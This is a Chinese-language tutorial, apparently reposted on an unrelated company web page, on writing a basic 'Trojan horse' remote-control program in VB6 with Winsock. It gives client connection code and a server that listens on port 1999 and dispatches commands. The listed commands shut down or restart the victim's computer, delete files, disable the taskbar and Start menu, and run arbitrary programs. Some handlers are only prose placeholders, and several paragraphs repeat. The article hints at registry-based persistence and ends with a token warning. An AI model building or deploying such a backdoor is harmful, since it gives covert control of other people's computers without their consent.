果洛皆料电子有限公司

淺談用VB6.0編寫“特洛伊木馬”程序

  • 發(fā)布于:2023-08-21
  • 193 人圍觀
  “特洛伊木馬”有被稱為BO, 是在美國一次黑客技術(shù)討論會上由一個黑客組織推出的。它其實是一種客戶機(jī)/服務(wù)器程序,其利用的原理就是:在本機(jī)直接啟動運(yùn)行的程序擁有與使用者相同的權(quán)限。因此如果能夠啟動服務(wù)器端(即被攻擊的計算機(jī))的服務(wù)器程序,就可以使用相應(yīng)的客戶端工具客戶程序直接控制它了。下面來談?wù)勅绾斡肰B來實現(xiàn)它。

  使用VB建立兩個程序,一個為客戶端程序Client,一個為服務(wù)器端程序systry。

   在Client工程中建立一個窗體,加載WinSock控件,稱為tcpClient,協(xié)議選擇TCP,再加入兩個文本框,用以輸入服務(wù)器的IP地址或服務(wù)器名,然后建立一個按鈕,按下之后就可以對連接進(jìn)行初始化了,代碼如下:

Private Sub cmdConnect_Click()
  If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
   MsgBox ("請輸入主機(jī)名或主機(jī)IP地址。")
   Exit Sub
  Else
   If Len(Text1.Text) > 0 Then
    tcpClient.RemoteHost = Text1.Text
   Else
    tcpClient.RemoteHost = Text2.Text
   End If
  End If
  tcpClient.Connect
  Timer1.Enabled = True
End Sub

  連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。

  連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。

  在服務(wù)器端systry工程也建立一個窗體,加載WinSock控件,稱為tcpServer,協(xié)議選擇TCP,在Form_Load事件中加入如下代碼:

Private Sub Form_Load()
  tcpServer.LocalPort = 1999
  tcpServer.Listen
End Sub

  準(zhǔn)備應(yīng)答客戶端程序的請求連接,使用ConnectionRequest事件來應(yīng)答戶端程序的請求,代碼如下:

Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
  If tcpServer.State < > sckClosed Then
   tcpServer.Close‘檢查控件的 State 屬性是否為關(guān)閉的。
  End If ’如果不是,在接受新的連接之前先關(guān)閉此連接。
  tcpServer.Accept requestID
End Sub

  這樣在客戶端程序按下了連接按鈕后,服務(wù)器端程序的ConnectionRequest事件被觸發(fā),執(zhí)行了以上的代碼。如果不出意外,連接就被建立起來了。

  建立連接后服務(wù)器端的程序通過DataArrival事件接收客戶機(jī)端程序所發(fā)的指令運(yùn)行既定的程序。如:把服務(wù)器端的驅(qū)動器名、目錄名、文件名等傳到客戶機(jī)端,客戶機(jī)端接收后用TreeView控件以樹狀的形式顯示出來,瀏覽服務(wù)器端文件目錄;強(qiáng)制關(guān)閉或重啟服務(wù)器端的計算機(jī);屏蔽任務(wù)欄窗口;屏蔽開始菜單;按照客戶機(jī)端傳過來的文件名或目錄名,而刪除它;屏蔽熱啟動鍵;運(yùn)行服務(wù)器端的任何程序;還包括獲取目標(biāo)計算機(jī)屏幕圖象、窗口及進(jìn)程列表;激活、終止遠(yuǎn)端進(jìn)程;打開、關(guān)閉、移動遠(yuǎn)端窗口;控制目標(biāo)計算機(jī)鼠標(biāo)的移動與動作;交換遠(yuǎn)端鼠標(biāo)的左右鍵;在目標(biāo)計算機(jī)模擬鍵盤輸入,下載、上裝文件;提取、創(chuàng)建、修改目標(biāo)計算機(jī)系統(tǒng)注冊表關(guān)鍵字;在遠(yuǎn)端屏幕上顯示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)

  Dim strData As String
  Dim i As Long
  Dim mKey As String

  tcpServer.GetData strData
  ‘接收數(shù)據(jù)并存入strData
  For i = 1 To Len(strData)
   ‘分離strData中的命令
   If Mid(strData, i, 1) = "@" Then
    mKey = Left(strData, i - 1)
    ‘把命令I(lǐng)D號存入mKey

    ‘把命令參數(shù)存入strData
    strData = Right(strData, Len(strData) - i)
    Exit For
   End If
  Next i
  Select Case Val(mKey)
   Case 1
   ‘驅(qū)動器名、目錄名、文件名
   Case 2
    強(qiáng)制關(guān)閉服務(wù)器端的計算機(jī)
   Case 3
    強(qiáng)制重啟服務(wù)器端的計算機(jī)
   Case 4
    屏蔽任務(wù)欄窗口;
   Case 5
    屏蔽開始菜單;
   Case 6
    按照客戶機(jī)端傳過來的文件名或目錄名,而刪除它;
   Case 7
    屏蔽熱啟動鍵;
   Case 8
    運(yùn)行服務(wù)器端的任何程序
  End Select
End Sub

  詳細(xì)程序略。

  客戶機(jī)端用tcpClient.SendData發(fā)命令。命令包括命令I(lǐng)D和命令參數(shù),它們用符號“@”隔開。

  另外,當(dāng)客戶機(jī)端斷開與服務(wù)器端的來接后,服務(wù)器端應(yīng)用tcpServer_Close事件,來繼續(xù)準(zhǔn)備接收客戶機(jī)端的請求,其代碼如下:

Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub

  這就是一個最基本的特洛伊木馬程序,只要你的機(jī)器運(yùn)行了服務(wù)器端程序,那別人就可以在千里之外控制你的計算機(jī)。至于如何讓服務(wù)器端程序運(yùn)行就要發(fā)揮你的聰明才智了,在我的源程序中有一中方法,是修改系統(tǒng)注冊表的方法。

  這就是一個最基本的特洛伊木馬程序,只要你的機(jī)器運(yùn)行了服務(wù)器端程序,那別人就可以在千里之外控制你的計算機(jī)。至于如何讓服務(wù)器端程序運(yùn)行就要發(fā)揮你的聰明才智了,在我的源程序中有一中方法,是修改系統(tǒng)注冊表的方法。

  成功的特洛伊木馬程序要比這個復(fù)雜一些,還有程序的隱藏、自動復(fù)制、傳播等問題要解決。警告:千萬不要用BO程序破壞別人的系統(tǒng)。
萬企互聯(lián)
標(biāo)簽: